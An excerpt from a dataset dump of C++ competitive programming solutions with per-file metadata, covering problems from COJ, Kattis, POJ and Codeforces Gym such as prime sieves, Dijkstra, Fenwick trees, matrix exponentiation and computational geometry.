d[v]++;\n }\n\n// cout << '\\n';\n }\n\n int enq = 0, deq = 0;\n\n int sol = 0;\n\n for( int i = 1; i <= n; i++ ){\n if( d[i] == 0 && mk[i] ){\n cola[enq++] = i;\n sol++;\n }\n }\n\n // cout << sol << '\\n';\n\n while( enq - deq ){\n int u = cola[deq++];\n for( int i = 0; i < g[u].size(); i++ ){\n int v = g[u][i];\n\n if( d[v] ){\n d[v]--;\n if( d[v] == 0 ){\n sol++;\n cola[enq++] = v;\n }\n }\n }\n }\n\n cout << sol << '\\n';\n}\n" }, { "alpha_fraction": 0.44086021184921265, "alphanum_fraction": 0.458781361579895, "avg_line_length": 15.081632614135742, "blob_id": "f8bbf5e0ebc2e714c8a9fb25d5c808615d5f633a", "content_id": "faefd9de4690af7233b824e375886778db315aba", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 837, "license_type": "no_license", "max_line_length": 73, "num_lines": 49, "path": "/COJ/eliogovea-cojAC/eliogovea-p1136-Accepted-s552946.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<cstdio>\r\n#include<vector>\r\n#define MAXN 31630\r\nusing namespace std;\r\n\r\nint cas,a,b;\r\nbool criba[MAXN+10];\r\nvector< int > primos;\r\nvector< int >::iterator it;\r\n\r\nvoid Criba()\r\n{\r\n\tfor( int i = 2; i <= MAXN; i++ )criba[i] = 1;\r\n\r\n\tfor( int i = 2; i <= MAXN; i++ )\r\n\t\tif( criba[i] )\r\n\t\t\tfor( int j = i * i; j <= MAXN; j += i )\r\n\t\t\t\tcriba[j] = 0;\r\n\r\n\tfor( int i = 2; i <= MAXN; i++ )\r\n\t\tif( criba[i] )\r\n\t\t\tprimos.push_back( i );\r\n}\r\n\r\nbool primo( int n )\r\n{\r\n\tif( n <= MAXN )\r\n\t\treturn criba[n];\r\n\r\n\tfor( it = primos.begin(); it != primos.end() && (*it)*(*it) <= n; it++ )\r\n\t\tif( n % (*it) == 0 )return 0;\r\n\r\n\treturn 1;\r\n}\r\n\r\n\r\nint main()\r\n{\r\n Criba();\r\n\r\n\tfor( scanf( \"%d\", &cas ); cas--; )\r\n\t{\r\n\t\tscanf( \"%d%d\", &a, &b );\r\n\r\n\t\tfor( int i = a; i <= b; i++ )\r\n\t\t\tif( primo(i) )printf( \"%d\\n\", i );\r\n printf(\"\\n\");\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.38165295124053955, "alphanum_fraction": 0.4093466103076935, "avg_line_length": 19.819820404052734, "blob_id": "efb11c3b5396fc52bec7b5e770784c70dd88e51b", "content_id": "f1dc37cd3fc746dd631bbfff76912c32490c7f18", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2311, "license_type": "no_license", "max_line_length": 71, "num_lines": 111, "path": "/Kattis/oil2.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// https://icpc.kattis.com/problems/oil2\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\ntypedef long long LL;\n\nconst int N = 2005;\n\ninline int sign(LL x) {\n if (x < 0) {\n return -1;\n }\n if (x > 0) {\n return 1;\n }\n return 0;\n}\n\nstruct pt {\n int x, y;\n};\n\npt operator - (const pt &a, const pt &b) {\n return (pt) {a.x - b.x, a.y - b.y};\n}\n\nLL cross(const pt &a, const pt &b) {\n return (LL)a.x * b.y - (LL)a.y * b.x;\n}\n\nLL norm2(const pt &a) {\n return (LL)a.x * a.x + (LL)a.y * a.y;\n}\n\nbool operator < (const pt &a, const pt &b) {\n int c = sign(cross(a, b));\n if (c != 0) {\n return c > 0;\n }\n return norm2(a) < norm2(b);\n}\n\nstruct event {\n pt p;\n int value;\n};\n\nbool operator < (const event &a, const event &b) {\n int c = sign(cross(a.p, b.p));\n if (c != 0) {\n return c > 0;\n }\n return a.value > b.value;\n}\n\nint n;\nint x0[N], x1[N], y[N];\n\nLL solve(pt P) {\n vector <event> E;\n for (int i = 0; i < n; i++) {\n if (y[i] == P.y) {\n continue;\n }\n if (y[i] > P.y) {\n pt P0 = (pt) {x0[i], y[i]} - P;\n pt P1 = (pt) {x1[i], y[i]} - P;\n if (P1 < P0) {\n swap(P0, P1);\n }\n E.push_back((event) {P0, abs(x0[i] - x1[i])});\n E.push_back((event) {P1, -abs(x0[i] - x1[i])});\n } else {\n pt P0 = P - (pt) {x0[i], y[i]};\n pt P1 = P - (pt) {x1[i], y[i]};\n if (P1 < P0) {\n swap(P0, P1);\n }\n E.push_back((event) {P0, abs(x0[i] - x1[i])});\n E.push_back((event) {P1, -abs(x0[i] - x1[i])});\n }\n }\n sort(E.begin(), E.end());\n LL cur = 0;\n LL best = 0;\n for (int i = 0; i < E.size(); i++) {\n cur += (LL)E[i].value;\n assert(cur >= 0);\n best = max(best, cur);\n }\n return best;\n\n}\n\nint main() {\n ios::sync_with_stdio(false);\n cin.tie(0);\n //freopen(\"input.txt\", \"r\", stdin);\n cin >> n;\n for (int i = 0; i < n; i++) {\n cin >> x0[i] >> x1[i] >> y[i];\n }\n LL ans = 0;\n for (int i = 0; i < n; i++) {\n ans = max(ans, solve((pt) {x0[i], y[i]}) + abs(x0[i] - x1[i]));\n ans = max(ans, solve((pt) {x1[i], y[i]}) + abs(x0[i] - x1[i]));\n }\n cout << ans << \"\\n\";\n}\n" }, { "alpha_fraction": 0.3565542995929718, "alphanum_fraction": 0.3880149722099304, "avg_line_length": 17.071428298950195, "blob_id": "1b7274051f62e58277a941e57f5a1af24538cec6", "content_id": "1c1435bb299537b7d555cd9fd3f9fe5402878907", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1335, "license_type": "no_license", "max_line_length": 67, "num_lines": 70, "path": "/COJ/eliogovea-cojAC/eliogovea-p2821-Accepted-s628874.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\nusing namespace std;\r\n\r\ntypedef long long ll;\r\n\r\nconst ll mod = 1e9 + 7;\r\n\r\nconst int SIZE = 3;\r\n\r\nstruct mat {\r\n\tll m[SIZE + 1][SIZE + 1];\r\n\tvoid idem() {\r\n\t\tfor (int i = 0; i < SIZE; i++)\r\n\t\t\tfor (int j = 0; j < SIZE; j++)\r\n\t\t\t\tm[i][j] = (ll)(i == j);\r\n\t}\r\n\tvoid nul() {\r\n\t\tfor (int i = 0; i < SIZE; i++)\r\n\t\t\tfor (int j = 0; j < SIZE; j++)\r\n\t\t\t\tm[i][j] = 0;\r\n\t}\r\n\tvoid ut(ll x) {\r\n\t\tm[0][0] = 1; m[0][1] = x; m[0][2] = x;\r\n\t\tm[1][0] = 0; m[1][1] = x; m[1][2] = x;\r\n\t\tm[2][0] = 0; m[2][1] = 0; m[2][2] = x;\r\n\t}\r\n\tmat operator * (const mat &M) {\r\n\t\tmat r;\r\n\t\tr.nul();\r\n\t\tfor (int i = 0; i < SIZE; i++)\r\n\t\t\tfor (int j = 0; j < SIZE; j++)\r\n\t\t\t\tfor (int k = 0; k < SIZE; k++)\r\n\t\t\t\t\tr.m[i][j] = (r.m[i][j] + ((m[i][k] * M.m[k][j]) % mod)) % mod;\r\n\t\treturn r;\r\n\t}\r\n\tvoid print() {\r\n for (int i = 0; i < SIZE; i++) {\r\n for (int j = 0; j < SIZE; j++)\r\n printf(\"%lld \", m[i][j]);\r\n printf(\"\\n\");\r\n }\r\n\t}\r\n};\r\n\r\nmat exp(mat x, ll n) {\r\n\tmat r;\r\n\tr.idem();\r\n\twhile (n) {\r\n\t\tif (n & 1ll) r = r * x;\r\n\t\tx = x * x;\r\n\t\tn >>= 1ll;\r\n\t}\r\n\treturn r;\r\n}\r\n\r\nint tc;\r\nll n, x;\r\nmat M, r;\r\n\r\nint main() {\r\n std::ios::sync_with_stdio(false);\r\n\tcin >> tc;\r\n\twhile (tc--) {\r\n cin >> n >> x;\r\n M.ut(x);\r\n r = exp(M, n);\r\n //r.print();\r\n cout << r.m[0][2] << '\\n';\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.32964783906936646, "alphanum_fraction": 0.36650288105010986, "avg_line_length": 20.822429656982422, "blob_id": "72276d5a7995b6e334ee1dc31f7e2cb84d0ebc49", "content_id": "1ebf95ca7e524c10dc837545af4d16b5466ac81c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2442, "license_type": "no_license", "max_line_length": 63, "num_lines": 107, "path": "/COJ/eliogovea-cojAC/eliogovea-p4138-Accepted-s1303637.cc", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int M = 1000 * 1000 * 1000 + 7;\r\n\r\ninline int power(int x, int n) {\r\n int y = 1;\r\n while (n > 0) {\r\n if (n & 1) {\r\n y = (long long)y * x % M;\r\n }\r\n x = (long long)x * x % M;\r\n n >>= 1;\r\n }\r\n return y;\r\n}\r\n\r\ninline vector <int> fast(int n) {\r\n vector <int> a(n);\r\n a[0] = 1;\r\n for (int i = 1; i < n; i++) {\r\n a[i] = (long long)a[i - 1] * (2LL * i - 1) % M;\r\n a[i] = (long long)a[i] * power(2 * i, M - 2) % M;\r\n }\r\n return a;\r\n}\r\n\r\ninline vector <int> faster(int n) {\r\n vector <int> a(n);\r\n vector <int> fact(2 * n);\r\n vector <int> inv_fact(2 * n);\r\n fact[0] = 1;\r\n for (int i = 1; i < 2 * n; i++) {\r\n fact[i] = (long long)fact[i - 1] * i % M;\r\n }\r\n inv_fact[2 * n - 1] = power(fact[2 * n - 1], M - 2);\r\n for (int i = 2 * n - 2; i >= 0; i--) {\r\n inv_fact[i] = (long long)inv_fact[i + 1] * (i + 1) % M;\r\n }\r\n a[0] = 1;\r\n for (int i = 1; i < n; i++) {\r\n a[i] = (long long)a[i - 1] * (2LL * i - 1) % M;\r\n a[i] = (long long)a[i] * inv_fact[2 * i] % M;\r\n a[i] = (long long)a[i] * fact[2 * i - 1] % M;\r\n }\r\n return a;\r\n}\r\n\r\nbool test(int n) {\r\n assert(n <= 2000);\r\n auto a = faster(n);\r\n if (a[0] != 1) {\r\n return false;\r\n }\r\n for (int i = 1; i < n; i++) {\r\n int s = 0;\r\n for (int j = 0; j <= i; j++) {\r\n s += (long long)a[j] * a[i - j] % M;\r\n if (s >= M) {\r\n s -= M;\r\n }\r\n }\r\n if (s != 1) {\r\n cerr << i << \" \" << s << \"\\n\";\r\n return false;\r\n }\r\n }\r\n return true;\r\n}\r\n\r\nbool gen_test_cases(const int N = 1000 * 1000) {\r\n ofstream input(\"000.in\");\r\n input << N << \"\\n\";\r\n for (int i = 0; i < N; i++) {\r\n input << i << \"\\n\";\r\n }\r\n input.close();\r\n\r\n auto a = fast(N);\r\n ofstream output(\"000.out\");\r\n for (int i = 0; i < N; i++) {\r\n output << a[i] << \"\\n\";\r\n }\r\n output.close();\r\n return true;\r\n}\r\n\r\nint main() {\r\n ios::sync_with_stdio(false);\r\n cin.tie(0);\r\n\r\n // assert(test(2000));\r\n // gen_test_cases();\r\n \r\n auto a = faster(1000 * 1000);\r\n int t, n;\r\n // cin >> t;\r\n scanf(\"%d\", &t);\r\n while (t--) {\r\n // cin >> n;\r\n scanf(\"%d\", &n);\r\n // cout << a[n] << \"\\n\";\r\n printf(\"%d\\n\", a[n]);\r\n\r\n }\r\n}\r\n" }, { "alpha_fraction": 0.25898078083992004, "alphanum_fraction": 0.2698412835597992, "avg_line_length": 18.62295150756836, "blob_id": "9197ed00f9ca48d6217a8bbc8d27a5da8dad94bf", "content_id": "09ccb553a1f7361a7172cfbf6089a0bf94d31f3f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1197, "license_type": "no_license", "max_line_length": 69, "num_lines": 61, "path": "/POJ/2154.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <iostream>\n\nusing namespace std;\n\ninline int phi(int n) {\n int res = n;\n for (int i = 2; i * i <= n; i++) {\n if (n % i == 0) {\n res -= res / i;\n while (n % i == 0) {\n n /= i;\n }\n }\n }\n if (n > 1) {\n res -= res / n;\n }\n return res;\n}\n\ninline int power(int x, int n, int p) {\n x %= p;\n int y = 1;\n while (n) {\n if (n & 1) {\n y = y * x % p;\n }\n x = x * x % p;\n n >>= 1;\n }\n return y;\n}\n\nint main() {\n ios::sync_with_stdio(false);\n cin.tie(0);\n\n int t;\n cin >> t;\n\n while (t--) {\n int n, p;\n cin >> n >> p;\n int res = 0;\n for (int d = 1; d * d <= n; d++) {\n if (n % d == 0) {\n res += power(n, d - 1, p) * (phi(n / d) % p) % p;\n if (res >= p) {\n res -= p;\n }\n if (d != n / d) {\n res += power(n, n / d - 1, p) * (phi(d) % p) % p;\n if (res >= p) {\n res -= p;\n }\n }\n }\n }\n cout << res << \"\\n\";\n }\n}\n" }, { "alpha_fraction": 0.42447417974472046, "alphanum_fraction": 0.4608030617237091, "avg_line_length": 21.772727966308594, "blob_id": "3477fbe8af5230040f8ef21ddd0d2ef5e461c6e9", "content_id": "b3f4a90e276a74d28005b7e53d29b8ad6be2171b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 523, "license_type": "no_license", "max_line_length": 76, "num_lines": 22, "path": "/COJ/eliogovea-cojAC/eliogovea-p2763-Accepted-s609980.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <cstdio>\r\n#include <vector>\r\nusing namespace std;\r\n\r\nint n, a[(1 << 10) + 5], ind = 1;\r\nvector<int> level[15];\r\n\r\nvoid dfs(int u, int lev) {\r\n\tif (lev > n) return;\r\n\tdfs(2 * u, lev + 1);\r\n\tlevel[lev].push_back(a[ind++]);\r\n\tdfs(2 * u + 1, lev + 1);\r\n}\r\n\r\nint main() {\r\n\tscanf(\"%d\", &n);\r\n\tfor (int i = 1; i < (1 << n); i++) scanf(\"%d\", a + i);\r\n\tdfs(1, 1);\r\n\tfor (int i = 1; i <= n; i++)\r\n\t\tfor (int j = 0; j < level[i].size(); j++)\r\n\t\t\tprintf(\"%d%c\", level[i][j], (j < (int)level[i].size() - 1) ? ' ' : '\\n');\r\n}\r\n" }, { "alpha_fraction": 0.44712594151496887, "alphanum_fraction": 0.456340491771698, "avg_line_length": 19.913461685180664, "blob_id": "f7fa014b063fe30c7e88f3b8517beb86a40afd78", "content_id": "067a49bdc5afee552890c41b6f2180f30e395dc8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2279, "license_type": "no_license", "max_line_length": 65, "num_lines": 104, "path": "/COJ/eliogovea-cojAC/eliogovea-p2361-Accepted-s943656.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int N = 300005;\r\n\r\nstruct pt {\r\n\tint x, y, f, id;\r\n};\r\n\r\nbool operator < (const pt &a, const pt &b) {\r\n\tif (a.x != b.x) {\r\n\t\treturn a.x < b.x;\r\n\t}\r\n\tif (a.y != b.y) {\r\n\t\treturn a.y < b.y;\r\n\t}\r\n\treturn a.id < b.id;\r\n}\r\n\r\nbool cmp(const pt &a, const pt &b) {\r\n return a.id < b.id;\r\n}\r\n\r\n\r\nint n, k;\r\npt pts[N];\r\n\r\nint dp[N];\r\nint trace[N];\r\n\r\nint X, Y;\r\n\r\nmap <int, pair <int, int> > fila, col;\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tcin >> n >> k;\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tcin >> pts[i].x >> pts[i].y >> pts[i].f;\r\n\t\tpts[i].id = i;\r\n\t\tdp[i] = -1;\r\n\t\ttrace[i] = -1;\r\n\t}\r\n\tX = pts[0].x;\r\n\tY = pts[0].y;\r\n\tdp[0] = pts[0].f;\r\n\tfila[pts[0].y] = col[pts[0].x] = make_pair(pts[0].id, pts[0].f);\r\n\tsort(pts, pts + n);\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tif (pts[i].id == 0) {\r\n\t\t\tcontinue;\r\n\t\t}\r\n\t\tif (pts[i].x < X || pts[i].y < Y) {\r\n\t\t\tcontinue;\r\n\t\t}\r\n\t\tmap <int, pair <int, int> >::iterator a = fila.find(pts[i].y);\r\n\t\tmap <int, pair <int, int> >::iterator b = col.find(pts[i].x);\r\n\t\tif (a == fila.end() && b == col.end()) {\r\n\t\t\tcontinue;\r\n\t\t}\r\n\t\tif (a == fila.end() && b != col.end()) {\r\n\t\t\tint pos = b->second.first;\r\n\t\t\tint val = b->second.second;\r\n\t\t\tif (val >= k) {\r\n\t\t\t\tdp[pts[i].id] = val - k + pts[i].f;\r\n\t\t\t\ttrace[pts[i].id] = pos;\r\n\t\t\t}\r\n\t\t}\r\n\t\tif (a != fila.end() && b == col.end()) {\r\n\t\t\tint pos = a->second.first;\r\n\t\t\tint val = a->second.second;\r\n\t\t\tif (val >= k) {\r\n\t\t\t\tdp[pts[i].id] = val - k + pts[i].f;\r\n\t\t\t\ttrace[pts[i].id] = pos;\r\n\t\t\t}\r\n\t\t}\r\n\t\tif (a != fila.end() && b != fila.end()) {\r\n\t\t\tif (a->second.second > b->second.second) {\r\n\t\t\t\tint pos = a->second.first;\r\n\t\t\t\tint val = a->second.second;\r\n\t\t\t\tif (val >= k) {\r\n\t\t\t\t\tdp[pts[i].id] = val - k + pts[i].f;\r\n\t\t\t\t\ttrace[pts[i].id] = pos;\r\n\t\t\t\t}\r\n\t\t\t} else {\r\n\t\t\t\tint pos = b->second.first;\r\n\t\t\t\tint val = b->second.second;\r\n\t\t\t\tif (val >= k) {\r\n\t\t\t\t\tdp[pts[i].id] = val - k + pts[i].f;\r\n\t\t\t\t\ttrace[pts[i].id] = pos;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t\tif (a == fila.end() || a->second.second < dp[pts[i].id]) {\r\n\t\t\tfila[pts[i].y] = make_pair(pts[i].id, dp[pts[i].id]);\r\n\t\t}\r\n\t\tif (b == col.end() || b->second.second < dp[pts[i].id]) {\r\n\t\t\tcol[pts[i].x] = make_pair(pts[i].id, dp[pts[i].id]);\r\n\t\t}\r\n\t}\r\n\tcout << dp[n - 1] << \"\\n\";\r\n}\r\n" }, { "alpha_fraction": 0.3501628637313843, "alphanum_fraction": 0.3827361464500427, "avg_line_length": 18.1875, "blob_id": "ca6bdad2ca2e781ec0fe343ded7a8c4f3f84faad", "content_id": "85a39b7e02a877da09e87a29fc70567ad9884bfb", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1228, "license_type": "no_license", "max_line_length": 64, "num_lines": 64, "path": "/Codeforces-Gym/100729 - 2011-2012 Northwestern European Regional Contest (NWERC 2011)/C.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2011-2012 Northwestern European Regional Contest (NWERC 2011)\n// 100729C\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nconst int MAXN = 200200;\n\nint BIT[MAXN];\n\nvoid update_bit( int maxn, int p, int upd ){\n while( p < MAXN ){\n BIT[p] += upd;\n p += ( p & -p );\n }\n}\n\nint get_bit( int p ){\n int ret = 0;\n while( p > 0 ){\n ret += BIT[p];\n p -= ( p & -p );\n }\n\n return ret;\n}\n\nint pos[MAXN];\n\nint main(){\n ios::sync_with_stdio(0);\n cin.tie(0);\n\n //freopen(\"dat.txt\",\"r\",stdin);\n\n int tc; cin >> tc;\n while( tc-- ){\n int n, m; cin >> n >> m;\n \n int maxn = n + m + 10;\n int top = n + m + 9;\n \n for( int i = 0; i < maxn; i++ ){\n BIT[i] = 0;\n }\n for( int i = n; i >= 1; i--, top-- ){\n pos[i] = top;\n update_bit( maxn , top , 1 );\n }\n for( int i = 0; i < m; i++ ){\n if( i > 0 ){\n cout << ' ';\n }\n\n int x; cin >> x;\n cout << get_bit( pos[ x ] ) - 1;\n update_bit( maxn , pos[x] , -1 );\n pos[x] = top--;\n update_bit( maxn , pos[x] , 1 );\n }\n cout << '\\n';\n }\n}\n" }, { "alpha_fraction": 0.3775689899921417, "alphanum_fraction": 0.3852025866508484, "avg_line_length": 19.024690628051758, "blob_id": "cc8051a252a014e5e42b049ae2a3ae5b41edb7dd", "content_id": "94d3aa99315a87d9ea2ce2d82fa2e826477324a8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1703, "license_type": "no_license", "max_line_length": 84, "num_lines": 81, "path": "/Kattis/bigtruck.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\ntypedef pair<int,int> par;\r\ntypedef pair<par,int> kk;\r\n\r\nconst int MAXN = 200;\r\nconst int oo = ( 1 << 30 );\r\n\r\npar d[MAXN];\r\nbool mk[MAXN];\r\nint n;\r\nint t[MAXN];\r\nvector<par> g[MAXN];\r\n\r\nbool dijkstra( int ini, int end ){\r\n for( int i = 0; i <= n; i++ ){\r\n mk[i] = false;\r\n d[i] = par( oo , -oo );\r\n }\r\n\r\n d[ini] = par( 0 , t[ini] );\r\n priority_queue<kk> pq; pq.push( kk( d[ini] , ini ) );\r\n\r\n while( !pq.empty() ){\r\n int u = pq.top().second; pq.pop();\r\n\r\n if( mk[u] ){\r\n continue;\r\n }\r\n\r\n if( u == end ){\r\n return true;\r\n }\r\n\r\n mk[u] = true;\r\n for( int i = 0; i < g[u].size(); i++ ){\r\n int v = g[u][i].first;\r\n int w = g[u][i].second;\r\n\r\n if( d[v].first > d[u].first + w ||\r\n (d[v].first == d[u].first + w && d[v].second < d[u].second + t[v]) ){\r\n d[v].first = d[u].first + w;\r\n d[v].second = d[u].second + t[v];\r\n\r\n pq.push( kk( par( -d[v].first , d[v].second ) , v ) );\r\n }\r\n }\r\n }\r\n\r\n return false;\r\n}\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\r\n\t//freopen(\"dat.txt\", \"r\", stdin);\r\n\r\n cin >> n;\r\n\r\n for( int i = 1; i <= n; i++ ){\r\n cin >> t[i];\r\n }\r\n\r\n int m; cin >> m;\r\n\r\n for( int i = 0; i < m; i++ ){\r\n int u, v, w; cin >> u >> v >> w;\r\n g[u].push_back( par( v , w ) );\r\n g[v].push_back( par( u , w ) );\r\n }\r\n\r\n if( !dijkstra( 1 , n ) ){\r\n cout << \"impossible\\n\";\r\n }\r\n else{\r\n cout << d[n].first << ' ' << d[n].second << '\\n';\r\n }\r\n}\r\n" }, { "alpha_fraction": 0.29072681069374084, "alphanum_fraction": 0.3299916386604309, "avg_line_length": 22.9375, "blob_id": "a80a381bf5b25ac63d6c497fe209d3f48b336ef0", "content_id": "a781fd8e5d40d1ebbe162e249bd9ad7d8a934248", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1197, "license_type": "no_license", "max_line_length": 78, "num_lines": 48, "path": "/COJ/eliogovea-cojAC/eliogovea-p1752-Accepted-s665145.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "//============================================================================\r\n// Name : 1752.cpp\r\n// Author : eliogovea\r\n// Version :\r\n// Copyright : \r\n// Description :\r\n//============================================================================\r\n\r\n#include <iostream>\r\n\r\nusing namespace std;\r\n\r\nint tc, n, w, l, x, y, a[2005][2005], ans;\r\n\r\ninline int get(int i1, int j1, int i2, int j2) {\r\n\treturn a[i2][j2] - a[i1 - 1][j2] - a[i2][j1 - 1] + a[i1 - 1][j1 - 1];\r\n}\r\n\r\nint main() {\r\n\tcin >> tc;\r\n\twhile (tc--) {\r\n\t\tcin >> n >> w >> l;\r\n\t\tfor (int i = 1; i <= n; i++)\r\n\t\t\tfor (int j = 1; j <= n; j++)\r\n\t\t\t\ta[i][j] = 0;\r\n\t\twhile (w--) {\r\n\t\t\tcin >> x >> y;\r\n\t\t\ta[x][y] = 1;\r\n\t\t}\r\n\t\tfor (int i = 1; i <= n; i++)\r\n\t\t\tfor (int j = 1; j <= n; j++)\r\n\t\t\t\ta[i][j] += a[i - 1][j] + a[i][j - 1] - a[i - 1][j - 1];\r\n\t\tans = 0;\r\n\t\tfor (int i = 1; i <= n; i++)\r\n\t\t\tfor (int j = 1; j <= n; j++) {\r\n\t\t\t\tint lo = 0, hi = min(i, j), mid, f;\r\n\t\t\t\twhile (lo + 1 < hi) {\r\n\t\t\t\t\tmid = (lo + hi + 1) >> 1;\r\n\t\t\t\t\tf = get(i - mid, j - mid, i, j);\r\n\t\t\t\t\tif (f <= l) lo = mid;\r\n\t\t\t\t\telse hi = mid;\r\n\t\t\t\t}\r\n\t\t\t\tlo = (lo + 1) * (lo + 1);\r\n\t\t\t\tif (lo > ans) ans = lo;\r\n\t\t\t}\r\n\t\tcout << ans << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.44622793793678284, "alphanum_fraction": 0.4638844430446625, "avg_line_length": 19.064516067504883, "blob_id": "39b041f7f74aed49a843c2bbc9eb4ba409e942c5", "content_id": "207cd9a1a1aafc4eb9ffd708381de874bbe4428a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 623, "license_type": "no_license", "max_line_length": 52, "num_lines": 31, "path": "/COJ/Copa-UCI-2018/J.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\n\nusing namespace std;\n\ntypedef pair<int,int> pii;\nbool cmp( const pii &a, const pii &b ){\n if( a.first != b.first )\n return a.first > b.first;\n return a.second < b.second;\n}\nvector<pii> v;\nint f[100];\nint main(){\n ios::sync_with_stdio(0);\n cin.tie(0);\n string s;\n cin >> s;\n for( auto e: s ){\n f[e-'0']++;\n }\n for( int i = 0; i < 10; i++ ){\n if( f[i] )\n v.push_back( make_pair( f[i], i ) );\n }\n sort( v.begin(), v.end(), cmp );\n\n for( int i = 0; i < v.size(); i++ ){\n cout << v[i].second << \" \\n\"[i+1==v.size()];\n\n }\n}\n\n" }, { "alpha_fraction": 0.35727787017822266, "alphanum_fraction": 0.39697542786598206, "avg_line_length": 15.34426212310791, "blob_id": "a12da49d026aa22ed01382de187e48c8aa8b3995", "content_id": "e37e09073b362ee04fcfbeca28d5c95de67c6e91", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1058, "license_type": "no_license", "max_line_length": 60, "num_lines": 61, "path": "/COJ/eliogovea-cojAC/eliogovea-p2084-Accepted-s541418.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<cstdio>\r\n#include<queue>\r\n#define MAXN 110\r\nusing namespace std;\r\n\r\ntypedef pair<int,int> pii;\r\n\r\nconst int mov[8][2]={1,0,-1,0,0,1,0,-1,1,1,1,-1,-1,1,-1,-1};\r\n\r\nint n,cant,mx,mn,c;\r\nchar mat[MAXN][MAXN];\r\n\r\nqueue<pii> Q;\r\n\r\nint main()\r\n{\r\n\twhile(scanf(\"%d\",&n) && n)\r\n\t{\r\n\t\tfor(int i=1; i<=n; i++)\r\n\t\t\tscanf(\"%s\",mat[i]+1);\r\n\r\n for(int i=0; i<=n; i++)\r\n mat[n+1][i]=' ';\r\n\r\n\t\tmx=-1;\r\n\t\tmn=100000;\r\n\r\n\t\tfor(int i=1; i<=n; i++)\r\n\t\t\tfor(int j=1; j<=n; j++)\r\n\t\t\t\tif(mat[i][j]=='l')\r\n\t\t\t\t{\r\n\t\t\t\t\tcant++;\r\n\t\t\t\t\tc=1;\r\n\t\t\t\t\tmat[i][j]='s';\r\n\t\t\t\t\tQ.push(pii(i,j));\r\n\t\t\t\t\twhile(!Q.empty())\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\tint nx=Q.front().first,\r\n\t\t\t\t\t\t\tny=Q.front().second;\r\n\r\n Q.pop();\r\n\r\n\t\t\t\t\t\tfor(int i=0; i<8; i++)\r\n\t\t\t\t\t\t{\r\n\t\t\t\t\t\t\tint dx=nx+mov[i][0],\r\n\t\t\t\t\t\t\t\tdy=ny+mov[i][1];\r\n\t\t\t\t\t\t\tif(mat[dx][dy]=='l')\r\n\t\t\t\t\t\t\t{\r\n\t\t\t\t\t\t\t\tmat[dx][dy]='s';\r\n\t\t\t\t\t\t\t\tc++;\r\n\t\t\t\t\t\t\t\tQ.push(pii(dx,dy));\r\n\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\t\t\t\t\tmx=max(mx,c);\r\n\t\t\t\t\tmn=min(mn,c);\r\n\t\t\t\t}\r\n\t\tprintf(\"%d %d %d\\n\",cant,cant?mn:0,cant?mx:0);\r\n\t\tcant=0;\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.4049409329891205, "alphanum_fraction": 0.4285714328289032, "avg_line_length": 20.16666603088379, "blob_id": "4084be69b9d8381b3920f33008c4446205779c93", "content_id": "8657a7ef3e28ed7f7f16bf07d7f0067b57cdd841", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1862, "license_type": "no_license", "max_line_length": 60, "num_lines": 84, "path": "/COJ/eliogovea-cojAC/eliogovea-p2074-Accepted-s1018360.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nstruct SegmentTree {\r\n\tint n;\r\n\tvector <int> tree;\r\n\tSegmentTree() {}\r\n\tSegmentTree(int _n) : n(_n), tree(4 * n, 0) {}\r\n\tvoid update(int x, int l, int r, int p, int v) {\r\n\t\tif (p < l || r < p) 